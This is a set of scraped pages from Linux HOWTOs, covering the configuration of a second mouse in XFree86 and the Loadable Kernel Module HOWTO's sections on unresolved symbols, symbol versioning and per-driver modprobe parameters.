EndSection
My mouse is a wheel mouse, thus the protocol is IMPS/2. ZAxisMapping line is also needed for the wheel to work. I also want the mouse to always work alongside the other one, and this is achieved through the AlwaysCore option. If. for example, this was a serial mouse, the Port would read "/dev/ttyS0" for COM1.

Prev | Home | Next
Mouse Protocols |  | XFree 4.x


XFree 4.x

Second Mouse in X mini-HOWTO
Prev Next

5. XFree 4.x

With XFree 4.x the task is even easier. First, the primary mouse, usually present in the config file already:
Section "InputDevice"
        Identifier  "Mouse0"
        Driver      "mouse"
        Option      "Device" "/dev/mouse"
        Option      "Protocol" "PS/2"
        Option      "Emulate3Buttons" "off"
        Option      "ZAxisMapping" "4 5"
EndSection
To add another mouse just copy the above section and modify it, so that it reads:
Section "InputDevice"
        Identifier  "Mouse1"
        Driver      "mouse"
        Option      "Device" "/dev/input/mice"
        Option      "Protocol" "IMPS/2"
        Option      "Emulate3Buttons" "off"
        Option      "ZAxisMapping" "4 5"
EndSection
Well, this way you can define as many additional pointers as you wish, and the same applies to joysticks and tablets.

To make both mice work together, there's one more change to be made to the XF86Config file. There is a section called ServerLayout where all the components are specified. Here's how it looks before adding a second mouse:
Section "ServerLayout"
        Identifier "XFree86 Configured"
        Screen      0  "Screen0" 0 0
        InputDevice    "Mouse0" "CorePointer"
        InputDevice    "Keyboard0" "CoreKeyboard"
EndSection
And after adding the second mouse:
Section "ServerLayout"
        Identifier "XFree86 Configured"
        Screen      0  "Screen0" 0 0
        InputDevice    "Mouse0" "CorePointer"
        InputDevice    "Mouse1" "AlwaysCore"
        InputDevice    "Keyboard0" "CoreKeyboard"
EndSection

Prev | Home | Next
XFree 3.x |  | Alternatives


Unresolved Symbols

Linux Loadable Kernel Module HOWTO
Prev Next

6. Unresolved Symbols

The most common and most frustrating failure in loading an LKM is a bunch of error messages about unresolved symbols, like this:
  msdos.o: unresolved symbol fat_date_unix2dos
  msdos.o: unresolved symbol fat_add_cluster1
  msdos.o: unresolved symbol fat_put_super
  ...
There are actually a bunch of different problems that result in this symptom. In any case, you can get closer to the problem by looking at /proc/ksymsand confirming that the symbols in the message are indeed not in the list.

6.1. Some LKMs Prerequire Other LKMs

On reason you get this is because you have not loaded another LKM that contains instructions or data that your LKM needs to access. A primary purpose of modprobeis to avoid this failure. See Section 5.2.

6.2. An LKM Must Match The Base Kernel

The designers of loadable kernel modules realized there would be a problem with having the kernel in multiple files, possibly distributed independently of one another. What if the LKM mydriver.o was written and compiled to work with the Linux 1.2.1 base kernel, and then someone tried to load it into a Linux 1.2.2 kernel? What if there was a change between 1.2.1 and 1.2.2 in the way a kernel subroutine that mydriver.o calls works? These are internal kernel subroutines, so what's to stop them from changing from one release to the next? You could end up with a broken kernel.

To address this problem, the creators of LKMs endowed them with a kernel version number. The special .modinfo section of the mydriver.o object file in this example has "1.2.1" in it because it was compiled using header files from Linux 1.2.1. Try to load it into a 1.2.2 kernel and insmod notices the mismatch and fails, telling you you have a kernel version mismatch.

But wait. What's the chance that there really is an incompatibility between Linux 1.2.1 and 1.2.2 that will affect mydriver.o? mydriver.o only calls a few subroutines and accesses a few data structures. Surely they don't change with every minor release. Must we recompile every LKM against the header files for the particular kernel into which we want to insert it?

To ease this burden, insmod has a -f option that "forces" insmod to ignore the kernel version mismatch and insert the module anyway. Because it is so unusual for there to be a significant difference between any two kernel versions, I recommend you always use -f. You will, however, still get a warning message about the mismatch. There's no way to shut that off.

But LKM designers still wanted to address the problem of incompatible changes that do occasionally happen. So they invented a very clever way to allow the LKM insertion process to be sensitive to the actual content of each kernel subroutine the LKM uses. It's called symbol versioning (or sometimes less clearly, "module versioning."). It's optional, and you select it when you configure the kernel via the "CONFIG_MODVERSIONS" kernel configuration option.

When you build a base kernel or LKM with symbol versioning, the various symbols exported for use by LKMs get defined as macros. The definition of the macro is the same symbol name plus a hexadecimal hash value of the parameter and return value types for the subroutine named by the symbol (based on an analysis by the program genksyms of the source code for the subroutine). So let's look at the register_chrdev subroutine. register_chrdev is a subroutine in the base kernel that device driver LKMs often call. With symbol versioning, there is a C macro definition like

  #define register_chrdev register_chrdev_Rc8dc8350

This macro definition is in effect both in the C source file that defines register_chrdev and in any C source file that refers to register_chrdev, so while your eyes see register_chrdev as you read the code, the C preprocessor knows that the function is really called register_chrdev_Rc8dc8350.

What is the meaning of that garbage suffix? It is a hash of the data types of the parameters and return value of register_chrdev. No two combinations of parameter and return value types have the same hash value.

So let's say someone adds a paramater to register_chrdev between Linux 1.2.1 and Linux 1.2.2. In 1.2.1, register_chrdev is a macro for register_chrdev_Rc8dc8350, but in 1.2.2, it is a macro for register_chrdev_R12f8dc01. In mydriver.o, compiled with Linux 1.2.1 header files, there is an external reference to register_chrdev_Rc8dc8350, but there is no such symbol exported by the 1.2.2 base kernel. Instead, the 1.2.2 base kernel exports a symbol register_chrdev_R12f8dc01.

So if you try to insmod this 1.2.1 mydriver.o into this 1.2.2 base kernel, you will fail. And the error message isn't one about mismatched kernel versions, but simply "unresolved symbol reference."

As clever as this is, it actually works against you sometimes. The way genksyms works, it often generates different hash values for parameter lists that are essentially the same.

And symbol versioning doesn't even guarantee compatibility. It catches only a small subset of the kinds of changes in the definition of a function that can make it not backward compatible. If the way register_chrdev interprets one of its parameters changes in a non-backward-compatible way, its version suffix won't change -- the parameter still has the same C type.

And there's no way an option like -f on insmod can get around this.

So it is generally not wise to use symbol versioning.

Of course, if you have a base kernel that was compiled with symbol versioning, then you must have all your LKMs compiled likewise, and vice versa. Otherwise, you're guaranteed to get those "unresolved symbol reference" errors.

6.3. If You Run Multiple Kernels

Now that we've seen how you often have different versions of an LKM for different base kernels, the question arises as to what to do about a system that has multiple kernel versions (i.e. you can choose a kernel at boot time). You want to make sure that the LKMs built for Kernel A get inserted when you boot Kernel A, but the LKMs built for Kernel B get inserted when you boot Kernel B.

In particular, whenever you upgrade your kernel, if you're smart, you keep both the new kernel and the old kernel on the system until you're sure the new one works.

The most common way to do this is with the LKM-hunting feature of modprobe. modprobe understands the conventional LKM file organization described in Section 5.5 and loads LKMs from the appropriate subdirectory depending on the kernel that is running.

You set the uname --release value, which is the name of the subdirectory in which modprobe looks, by editing the main kernel makefile when you build the kernel and setting the VERSION, PATCHLEVEL, SUBLEVEL, and EXTRAVERSION variables at the top.

6.4. SMP symbols

Besides the checksum mentioned above, the symbol version prefix contains "smp" if the symbol is defined in or referenced by code that was built for symmetric multiprocessing (SMP) machines. That means it was built for use on a system that may have more than one CPU. You choose whether to build in SMP capability or not via the Linux kernel configuration process (make config, etc.), to wit with the CONFIG_SMP configuration option. So if you use symbol versioning, you will get unresolved symbols if the base kernel was built with SMP capability and the LKM you're inserting was not, or vice versa. If you don't use symbol versioning, never mind. Note that there's generally no reason to omit SMP capability from a kernel, even if you have only one CPU. Just because the capability is there doesn't mean you have to have multiple CPUs. However, there are some machines on which the SMP-capable kernel will not boot because it reaches the conclusion that there are zero CPUs!

6.5. You Are Not Licensed To Access The Symbol

The copyright owners of some kernel code license their programs to the public to make and use copies, but only in restricted ways. For example, the license may say you may only call your copy of the program from a program which is similarly licensed to the public. (Is that confusing? Here's an example: Bob writes an LKM that provides data compression subroutines to other LKMs. He licenses his program to the public under the GNU Public License (GPL). According to some interpretations, that license says if you make a copy of Bob's LKM, you can't allow Mary's LKM to call its compression subroutines if Mary does not supply her source code to the world too. The idea is to encourage Mary to open up her source code). To support and enforce such a license, the licensor can cause his program to export symbols that contain the string "GPLONLY". The Linux interface header files are set up so that they will not generate references to GPLONLY symbols unless the programmer who includes the header files puts something in his code to state explicitly that he licenses his program under the GPL (General Public License) or equivalent. You shouldn't ordinarily see this failure. It means the LKM source code was written in a way that it will never load into any Linux kernel, so there would be no point in the author distributing it.

6.6. An LKM Must Match Prerequisite LKMs

The same ways an LKM must be compatible with the base kernel, it must be compatible with any LKMs which it accesses (e.g. the first LKM calls a subroutine in the second). The preceding sections limit their discussions to the base kernel just to keep it simple.

Prev | Home | Next
How To Insert And Remove LKMs |  | How To Boot Without A Disk Device Driver


Linux Loadable Kernel Module HOWTO

Bryan Henderson

21 May 2002

Revision History
Revision v1.02 | 2002-05-21 | Revised by: bjh
Correct explanation of symbol versioning. Correct author of Linux Device Drivers. Add info about memory allocation penalty of LKM vs bound-in. Add LKM-to-LKM symbol matching requirement. Add open source licensing issue in LKM symbol resolution. Add SMP symbol versioning info.
Revision v1.01 | 2001-08-18 | Revised by: bjh
Add material on various features created in the last few years: kernel module loader, ksymoops symbols, kernel-version-dependent LKM file location.
Revision v1.00 | 2001-06-14 | Revised by: bjh
Initial release.

This is the HOWTO for Linux loadable kernel modules (LKMs). It explains what they are and how to use and create them. It also includes documentation of parameters and other details of use of some particular modules.

Table of Contents
1. Preface
2. Introduction to Linux Loadable Kernel Modules
2.1. Terminology
2.2. History of Loadable Kernel Modules
2.3. The Case For Loadable Kernel Modules
2.4. What LKMs Can't Do
2.5. What LKMs Are Used For
3. Making Loadable Kernel Modules
4. LKM Utilities
5. How To Insert And Remove LKMs
5.1. Could Not Find Kernel Version...
5.2. Intelligent Loading Of LKMs - Modprobe
5.3. Automatic LKM Loading and Unloading
5.4. /proc/modules
5.5. Where Are My LKM Files On My System?
6. Unresolved Symbols
6.1. Some LKMs Prerequire Other LKMs
6.2. An LKM Must Match The Base Kernel
6.3. If You Run Multiple Kernels
6.4. SMP symbols
6.5. You Are Not Licensed To Access The Symbol
6.6. An LKM Must Match Prerequisite LKMs
7. How To Boot Without A Disk Device Driver
8. About Module Parameters
9. Persistent Data
10. Technical Details
10.1. How They Work
10.2. The .modinfo Section
10.3. The __ksymtab And .kstrtab Sections
10.4. Ksymoops Symbols
10.5. Other Symbols
10.6. Memory Allocation For Loading
10.7. Linux internals
11. Writing Your Own Loadable Kernel Module
11.1. bug in hello.c
11.2. Rubini Corbet: Linux Device Drivers
11.3. Improving On Use Counts
12. Related Documentation
13. Individual Modules
13.1. Executable Interpreters
13.2. Block Device Drivers
13.3. SCSI Drivers
13.4. Network Device Drivers
13.5. CDROM Device Drivers
13.6. Filesystem Drivers
13.7. Miscellaneous Device Driver
13.8. Serial Device Drivers
13.9. Parallel Device Drivers
13.10. Bus Mouse Device Drivers
13.11. Tape Device Drivers
13.12. Watchdog Timers
13.13. Sound Device Drivers
14. Maintenance Of This Document
15. History
16. Copyright
Next
Preface


Individual Modules

Linux Loadable Kernel Module HOWTO
Prev Next

13. Individual Modules

In this chapter, I document individual LKMs. Where possible, I do this by reference to more authoritative documentation for the particular LKM (probably maintained by the same person who maintains the LKM code).

13.1. Executable Interpreters

You must have at least one executable interpreter bound into the base kernel, because in order to load an executable interpreter LKM, you have to run an executable and something has to interpret that executable.

That one bound-in executable interpreter is almost certainly the ELF interpreter, since virtually all executables in a Linux system are ELF.

Historical note: Before ELF existed on Linux (c. 1995), the normal executable format was a.out. For a while, part ELF/part a.out systems were common. Some still exist.

13.1.1. binfmt_aout: executable interpreter for a.out format

a.out is the venerable executable format that was common in Unix's early history and originally Linux's only executable format. To this day, the default name of the executable output file of the GNU compiler is a.out (regardless of what it's format is).

If you try to run an a.out executable without this, your exec system call fails with a "cannot execute binary file" error.

There are no LKM parameters.

Example:
modprobe binfmt_aout

13.1.2. binfmt_elf: executable interpreter for ELF format

ELF is the normal executable format on Linux systems.

It's almost inconceivable that you wouldn't have this executable interpreter bound into the base kernel (if for no other reason that your insmod is probably an ELF executable). However, it is conceptually possible to leave it out of the base kernel and insert it as an LKM.

There are no LKM parameters.

Example:
modprobe binfmt_elf

13.1.3. binfmt_java: executable interpreter for Java bytecode

Java is a relatively modern object oriented programming language. Java programs are traditionally compiled into "Java bytecode" which is meant to be interpreted by a Java bytecode interpreter. The point of this new object language is that the bytecode object files are portable: Although different systems require different object formats, as long as each system has a bytecode interpreter, it can run bytecode object files. (This only works for a while, of course. If portability were that easy, all systems today would use the same object format anyway).

While the intent was that the bytecode interpreter would run as a user space program, with this LKM you can make the Linux kernel interpret Java bytecode like any other executable format. So you can run a program compiled from Java the same as you would run a program compiled from C (e.g. type its name at a command shell prompt).

In practice, the advantages of the intermediate bytecode language have not been proven and it is quite common to compile Java directly to a more traditional executable format, such as ELF. If you do that, you don't need binfmt_java.

There are no LKM parameters.

Example:
modprobe binfmt_java

13.2. Block Device Drivers

13.2.1. floppy: floppy disk driver

This is the device driver for floppy disks. You need this in order to access a floppy disk in any way.

This LKM is documented in the file README.fd in the linux/drivers/block directory of the Linux source tree. For detailed up to date information refer directly to this file.

Note that if you boot (or might boot) from a floppy disk or with a root filesystem on a floppy disk, you must have this driver bound into the base kernel, because your system will need it before it has a chance to insert the LKM.

Example:

  modprobe floppy 'floppy="daring two_fdc 0,thinkpad 0x8,fifo_depth"'

There is only one LKM parameter: floppy. But it contains many subparameters. The reason for this unusual parameter format is to be consistent with the way you would specify the same things in the kernel boot parameters if the driver were bound into the base kernel.

The value of floppy is a sequence of blank-delimited words. Each of those words is one of the following sequences of comma-delimited words:

asus_pci

Sets the bit mask of allowed drives to allow only units 0 and 1. Obsolete, as this is the default setting anyways

daring

Tells the floppy driver that you have a well behaved floppy controller. This allows more efficient and smoother operation, but may fail on certain controllers. This may speed up certain operations.

0,daring

Tells the floppy driver that your floppy controller should be used with caution.

one_fdc

Tells the floppy driver that you have only floppy controller (default).

address,two_fdc

Tells the floppy driver that you have two floppy controllers. The second floppy controller is assumed to be at address. This option is not needed if the second controller is at address 0x370, and if you use the 'cmos' option

two_fdc

Like above, but with default address

thinkpad

Tells the floppy driver that you have an IBM Thinkpad model notebook computer. Thinkpads use an inverted convention for the disk change line.

0,thinkpad

Tells the floppy driver that you don't have a Thinkpad.

nodma

Tells the floppy driver not to use DMA for data transfers. This is needed on HP Omnibooks, which don't have a workable DMA channel for the floppy driver. This option is also useful if you frequently get "Unable to allocate DMA memory" messages. Indeed, DMA memory needs to be continuous in physical memory, and is thus harder to find, whereas non-DMA buffers may be allocated in virtual memory. However, I advise against this if you have an FDC without a FIFO (8272A or 82072). 82072A and later are OK). You also need at least a 486 to use nodma. If you use nodma mode, I suggest you also set the FIFO threshold to 10 or lower, in order to limit the number of data transfer interrupts.

If you have a FIFO-able FDC, the floppy driver automatically falls back on non DMA mode if it can't find any DMA-able memory. If you want to avoid this, explicitly specify "yesdma".

omnibook

Same as nodma.

yesdma

Tells the floppy driver that a workable DMA channel is available (the default).

nofifo

Disables the FIFO entirely. This is needed if you get "Bus master arbitration error" messages from your Ethernet card (or from other devices) while accessing the floppy.

fifo

Enables the FIFO (default)

threshold,fifo_depth

Sets the FIFO threshold. This is mostly relevant in DMA mode. If this is higher, the floppy driver tolerates more interrupt latency, but it triggers more interrupts (i.e. it imposes more load on the rest of the system). If this is lower, the interrupt latency should be lower too (faster processor). The benefit of a lower threshold is fewer interrupts.

To tune the fifo threshold, switch on over/underrun messages using 'floppycontrol --messages'. Then access a floppy disk. If you get a huge amount of "Over/Underrun - retrying" messages, then the fifo threshold is too low. Try with a higher value, until you only get an occasional Over/Underrun.

The value must be between 0 and 0xf, inclusive.

As you insert and remove the LKM to try different values, remember to redo the 'floppycontrol --messages' every time you insert the LKM. You shouldn't normally have to tune the fifo, because the default (0xa) is reasonable.

drive,type,cmos

Sets the CMOS type of drive to type. This is mandatory if you have more than two floppy drives (only two can be described in the physical CMOS), or if your BIOS uses non-standard CMOS types. The CMOS types are:

0

Use the value of the physical CMOS

1

5 1/4 DD

2

5 1/4 HD

3

3 1/2 DD

4

3 1/2 HD

5

3 1/2 ED

6

3 1/2 ED

16

unknown or not installed

(Note: there are two valid types for ED drives. This is because 5 was initially chosen to represent floppy tapes, and 6 for ED drives. AMI ignored this, and used 5 for ED drives. That's why the floppy driver handles both)

unexpected_interrupts

Print a warning message when an unexpected interrupt is received. (default behavior)

no_unexpected_interrupts

Don't print a message when an unexpected interrupt is received. This is needed on IBM L40SX laptops in certain video modes. (There seems to be an interaction between video and floppy. The unexpected interrupts only affect performance, and can safely be ignored.)

L40SX

Same as no_unexpected_interrupts.

broken_dcl

Don't use the disk change line, but assume that the disk was changed whenever the device node is reopened. Needed on some boxes where the disk change line is broken or unsupported. This should be regarded as a stopgap measure, indeed it makes floppy operation less efficient due to unneeded cache flushings, and slightly more unreliable. Please verify your cable, connection and jumper settings if you have any DCL problems. However, some older drives, and also some laptops are known not to have a DCL.

debug

Print debugging messages

messages

Print informational messages for some operations (disk change notifications, warnings about over and underruns, and about autodetection)

silent_dcl_clear

Uses a less noisy way to clear the disk change line (which doesn't involve seeks). Implied by daring.

nr,irq

Tells the driver to expect interrupts on IRQ nr instead of the conventional IRQ 6.

nr,dma

Tells the driver to use DMA channel nr instead of the conventional DMA channel 2.

slow

Use PS/2 stepping rate: PS/2 floppies have much slower step rates than regular floppies. It's been recommended that take about 1/4 of the default speed in some more extreme cases.

mask,allowed_drive_mask

Sets the bitmask of allowed drives to mask. By default, only units 0 and 1 of each floppy controller are allowed. This is done because certain non-standard hardware (ASUS PCI motherboards) mess up the keyboard when accessing units 2 or 3. This option is somewhat obsoleted by the 'cmos' option.

all_drives

Sets the bitmask of allowed drives to all drives. Use this if you have more than two drives connected to a floppy controller.

13.2.2. loop: loop device driver

This module lets you mount a filesystem that is stored in a regular file (in another filesystem). One use of this is to test an ISO 9660 filesystem before irreversibly burning it onto a CD. You build the filesystem in a 650 MB regular file. That file will be the input to the CD burning program. But you can define that file as a loopback device and then mount the filesystem right from the file. It can also give you a handy way to transmit collections of files over a network. It's like a tar file, only you don't have to pack and unpack it -- you just mount the original file.

You can also encrypt or compress the file. To do that, you need a recent version of mount and other patches for DES and IDEA. They can

Do not confuse these loop devices with the "loopback device" used for network connections from the machine to itself. That isn't actually a device at all - it's a network interface.

Example:
modprobe loop

The module has no parameters.

13.2.3. linear: linear (non-RAID) disk array device driver

This driver lets you combine several disk partitions into one logical block device.

If you use this, then your multiple devices driver will be able to use the so-called linear mode, i.e. it will combine the disk partitions by simply appending one to the other.

See Software-RAID-HOWTO.

Example:
modprobe linear

There are no module parameters.

13.2.4. raid0: RAID-0 device driver

This driver lets you combine several disk partitions into one logical block device.

If you use this, then your multiple devices driver will be able to use the so-called raid0 mode, i.e. it will combine the disk partitions into one logical device in such a fashion as to fill them up evenly, one chunk here and one chunk there. This will increase the throughput rate if the partitions reside on distinct disks.

See Software-RAID-HOWTO.

Example:
modprobe raid0

There are no module parameters.

13.2.5. rd: ramdisk device driver

A ramdisk is a block device whose storage is composed of system memory (real memory; not virtual). You can use it like a very fast disk device and also in circumstances where you need a device, but don't have traditional hardware devices to play with.

A common example of the latter is for a rescue system -- a system you use to diagnose and repair your real system. Since you don't want to mess with your real disks, you run off ramdisks. You might load data into these ramdisks from external media such as floppy disks.

Sometimes, you have your boot loader (e.g. lilo) create a ramdisk and load it with data (perhaps from a floppy disk). Of course, if you do this, you cannot use the LKM version of the ramdisk driver because the driver will have to be in the kernel at boot time.

A ramdisk is actually conceptually simple in Linux. Disk devices operate through memory because of the buffer cache. The only difference with a ramdisk is that you never actually get past the buffer cache to a real device. This is because with a ramdisk, 1) when you first access a particular block, Linux just assumes it is all zeroes; and 2) the device's buffer cache blocks are never written to the device, ergo never stolen for use with other devices. This means reads and writes are always to the buffer cache and never reach the device.

There is additional information about ramdisks in the file Documentation/ramdisk.txt in the Linux source tree.

Example:
  modprobe rd

There are no module parameters that you can supply to the LKM, but if you bind the module into the base kernel, there are kernel parameters you can pass to it. See BootPrompt-HOWTO.

13.2.6. xd: XT disk device driver

Very old 8 bit hard disk controllers used in the IBM XT computer. No, the existence of XT disk support does NOT mean that you can run Linux on an IBM XT :).

Example:
modprobe xd

There are no module parameters.

13.3. SCSI Drivers

Detailed information about SCSI drivers is in SCSI-2.4-HOWTO.

Linux's SCSI function is implemented in three layers, and there are LKMs for all of them.

In the middle is the mid-level driver or SCSI core. This consists of the scsi_mod LKM. It does all those things that are common among SCSI devices regardless of what SCSI adapter you use and what class of device (disk, scanner, CD-ROM drive, etc.) it is.

There is a low-level driver for each kind of SCSI adapter -- typically, a different driver for each brand. For example, the low-level driver for Advansys adapters (made by the company which is now Connect.com) is named advansys. (If you are comparing ATA (aka IDE) and SCSI disk devices, this is a major difference -- ATA is simple and standard enough that one driver works with all adapters from all companies. SCSI is less standard and as a result you should have less confidence in any particular adapter being perfectly compatible with your system).

High-level drivers present to the rest of the kernel an interface appropriate to a certain class of devices. The SCSI high-level driver for tape devices, st, for example, has ioctls to rewind. The high-level SCSI driver for CD-ROM drives, sr, does not.

Note that you rarely need a high-level driver specific to a certain brand of device. At this level, there is little room for one brand to be distinguishable from another.

One SCSI high-level driver that deserves special mention is sg. This driver, called the "SCSI generic" driver, is a fairly thin layer that presents a rather raw representation of the SCSI mid-level driver to the rest of the kernel. User space programs that operate through the SCSI generic driver (because they access device special files whose major number is the one registered by sg (to wit, 21)) have a detailed understanding of SCSI protocols, whereas user space programs that operate through other SCSI high-level drivers typically don't even know what SCSI is. SCSI-Programming-HOWTO has complete documentation of the SCSI generic driver.

The layering order of the SCSI modules belies the way the LKMs depend upon each other and the order in which they must be loaded. You always load the mid-level driver first and unload it last. The low-level and high-level drivers can be loaded and unloaded in any order after that, and they hook themselves into and establish dependency on the mid-level driver at both ends. If you don't have a complete set, you will get a "device not found" error when you try to access a device.

Most SCSI low-level (adapter) drivers don't have LKM parameters; they do generally autoprobe for card settings. If your card responds to some unconventional port address you must bind the driver into the base kernel and use kernel "command line" options. See BootPrompt-HOWTO. Or you can twiddle The Source and recompile.

Many SCSI low-level drivers have documentation in the drivers/scsi directory in the Linux source tree, in files called README.*.

13.3.1. scsi_mod: SCSI mid-level driver

Example:
modprobe scsi_mod

There are no module parameters.

13.3.2. sd_mod: SCSI high-level driver for disk devices

Example:
modprobe sd_mod

There are no module parameters.

13.3.3. st: SCSI high-level driver for tape devices

Example:
modprobe st

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

13.3.4. sr_mod: SCSI high-level driver for CD-ROM drives

Example:
modprobe sr_mod

There are no module parameters.

13.3.5. sg: SCSI high-level driver for generic SCSI devices

See the explanation of this special high-level driver above.

Example:
modprobe sg

There are no module parameters.

13.3.6. wd7000: SCSI low-level driver for 7000FASST

Example:
modprobe wd7000

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

This driver atoprobes the card and requires installed BIOS.

13.3.7. aha154x: SCSI low-level driver for Adaptec AHA152X/2825

Example:
modprobe aha154x

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

This driver atoprobes the card and requires installed BIOS.

13.3.8. aha1542: SCSI low-level driver for Adaptec AHA1542

Example:
modprobe aha1542

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

This driver autoprobes the card at 0x330 and 0x334 only.

13.3.9. aha1740: SCSI low-level driver for Adaptec AHA1740 EISA

Example:
modprobe aha1740

There are no module parameters.

This driver autoprobes the card.

13.3.10. aic7xxx: SCSI low-level driver for Adaptec AHA274X/284X/294X

Example:
modprobe aic7xxx

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

This driver autoprobes the card and BIOS must be enabled.

13.3.11. advansys: SCSI low-level driver for AdvanSys/Connect.com

Example:
modprobe advansys asc_iopflag=1 asc_ioport=0x110,0x330 asc_dbglvl=1

Module Parameters:

asc_iopflag

1

enable port scanning

0

disable port scanning

asc_ioport

I/O port addresses to scan for Advansys SCSI adapters

asc_dbglvl

debugging level:

0

Errors only

1

High level tracing

2-N

Verbose tracing

If you bind this driver into the base kernel, you can pass parameters to it via the kernel boot parameters. See BootPrompt-HOWTO.

13.3.12. in2000: SCSI low-level driver for Always IN2000

Example:
modprobe in2000

There are no module parameters.

This driver autoprobes the card. No BIOS is required.

13.3.13. BusLogic: SCSI low-level driver for BusLogic

The list of BusLogic cards this driver can drive is long. Read file drivers/scsi/README.BusLogic in the Linux source tree to get the total picture.

Example:
modprobe BusLogic

There are no module parameters.

If you bind this driver into the base kernel, you can pass parameters to it via the kernel boot parameters. See BootPrompt-HOWTO.

13.3.14. dtc: SCSI low-level driver for DTC3180/3280

Example:
modprobe dtc

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

This driver autoprobes the card.

13.3.15. eata: SCSI low-level driver for EATA ISA/EISA

This driver handles DPT PM2011/021/012/022/122/322.

Example:
modprobe eata

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

13.3.16. eata_dma: SCSI low-level driver for EATA-DMA

This driver handles DPT, NEC, AT&T, SNI, AST, Olivetti, and Alphatronix.

This driver handles DPT Smartcache, Smartcache III and SmartRAID.

Example:
modprobe eata_dma

There are no module parameters.

Autoprobe works in all configurations.

13.3.17. eata_pio: SCSI low-level driver for EATA-PIO

This driver handles old DPT PM2001, PM2012A.

Example:
  modprobe eata_pio

There are no module parameters.

13.3.18. fdomain: SCSI low-level driver for Future Domain 16xx

Example:
modprobe fdomain

There are no module parameters.

This driver autoprobes the card and requires installed BIOS.

13.3.19. NCR5380: SCSI low-level driver for NCR5380/53c400

Example:
modprobe NCR5380 ncr_irq=xx ncr_addr=xx ncr_dma=xx ncr_5380=1   \
                 ncr_53c400=1
for a port mapped NCR5380 board:
modprobe g_NCR5380 ncr_irq=5 ncr_addr=0x350 ncr_5380=1
for a memory mapped NCR53C400 board with interrupts disabled:
modprobe g_NCR5380 ncr_irq=255 ncr_addr=0xc8000 ncr_53c400=1

Parameters:

ncr_irq

the irq the driver is to service. 255 means no or DMA interrupt. 254 to autoprobe for an IRQ line if overridden on the command line.

ncr_addr

the I/O port address or memory mapped I/O address, whichever is appropriate, that the driver is to drive

ncr_dma

the DMA channel the driver is to use

ncr_5380

1 = set up for a NCR5380 board

ncr_53c400

1 = set up for a NCR53C400 board

If you bind this driver into the base kernel, you can pass parameters to it via the kernel boot parameters. See BootPrompt-HOWTO.

13.3.20. NCR53c406a: SCSI low-level driver for NCR53c406a

Example:
modprobe NCR53c406a

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

13.3.21. 53c7,8xx.o: SCSI low-level driver for NCR53c7,8xx

Example:
modprobe 53c7,8xx

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

This driver autoprobes the card and requires installed BIOS.

13.3.22. ncr53c8xx: SCSI low-level driver for PCI-SCS NCR538xx family

Example:
modprobe ncr53c8xx

There are no module parameters.

13.3.23. ppa: low-level SCSI driver for IOMEGA parallel port ZIP drive

See the file drivers/scsi/README.ppa in the Linux source tree for details.

Example:
modprobe ppa ppa_base=0x378 ppa_nybble=1

Parameters:

ppa_base

Base address of the PPA's I/O port. Default 0x378.

ppa_speed_high

Delay used in data transfers, in microseconds. Default is 1.

ppa_speed_low

Delay used in other operations, in microseconds. Default is 6.

ppa_nybble

1 = Use 4-bit mode. 0 = don't. Default is 0.

13.3.24. pas16: SCSI low-level driver for PAS16

Example:
modprobe pas16

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

This driver autoprobes the card. No BIOS is required.

13.3.25. qlogicfas: SCSI low-level driver for Qlogic FAS

Example:
modprobe qlogicfas

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

13.3.26. qlogicisp: SCSI low-level driver for Qlogic ISP

Example:
modprobe qlogicisp

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

Requires firmware.

13.3.27. seagate: SCSI low-level driver for Seagate, Future Domain

This driver is for Seagate ST-02 and Future Domain TMC-8xx.

Example:
  modprobe seagate

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

This driver autoprobes for address only. The IRQ is fixed at 5. The driver requires installed BIOS.

13.3.28. t128: SCSI low-level driver for Trantor T128/T128F/T228

Example:
  modprobe t128

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

This driver autoprobes the card. The driver requires installed BIOS.

13.3.29. u14-34f: SCSI low-level driver for UltraStor 14F/34F

Example:
  modprobe u14-34f

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

This driver autoprobes the card, but not the 0x310 port. No BIOS is required.

13.3.30. ultrastor: low-level SCSI driver for UltraStor

Example:
modprobe ultrastor

There are no module parameters for the LKM, but if you bind this module into the base kernel, you can pass some parameters via the Linux boot parameters. See BootPrompt-HOWTO.

13.4. Network Device Drivers

13.4.1. bsd_comp: optional BSD compressor for PPP

Example:
modprobe bsd_comp

There are no module parameters.

This module depends on module ppp.

13.4.2. slhc: SLHC compressor for PPP

This module contains routines to compress and uncompress tcp packets (for transmission over low speed serial lines).

These routines are required by PPP (also ISDN-PP) and SLIP protocols, and are used by the LKMs that implement those protocols.

Example:
modprobe slhc

There are no module parameters.

13.4.3. dummy: Dummy network interface driver

This is said to be a bit-bucket device (i.e. traffic you send to this device is consigned into oblivion) with a configurable IP address. It is most commonly used in order to make your currently inactive SLIP address seem like a real address for local programs.

